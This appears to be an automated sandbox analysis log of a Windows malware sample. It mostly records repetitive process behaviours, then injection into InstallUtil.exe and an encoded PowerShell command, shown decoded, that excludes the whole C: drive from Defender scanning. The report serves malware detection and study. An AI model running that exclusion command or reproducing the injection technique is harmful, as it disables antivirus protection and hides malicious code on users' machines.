Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Lwwaqb\Dwdsyugg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6662			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2821			Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe TID: 6516	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6496	Thread sleep time: -23980767295822402s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: 140000000	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: 140002000	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: 140076000	Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: C369AFC010	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

Thread register set: target process: 3564

Jump to behavior

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process created: Base64 decoded Start-Sleep -Seconds 10; Set-MpPreference -ExclusionPath 'C:\'
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process created: Base64 decoded Start-Sleep -Seconds 10; Set-MpPreference -ExclusionPath 'C:\'			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\lZmUPfUitK.exe

Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe base: 140000000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXAAnAA==			Jump to behavior
Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe			Jump to behavior

Source: C:\Users\user\Desktop\lZmUPfUitK.exe	Queries volume information: C:\Users\user\Desktop\lZmUPfUitK.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
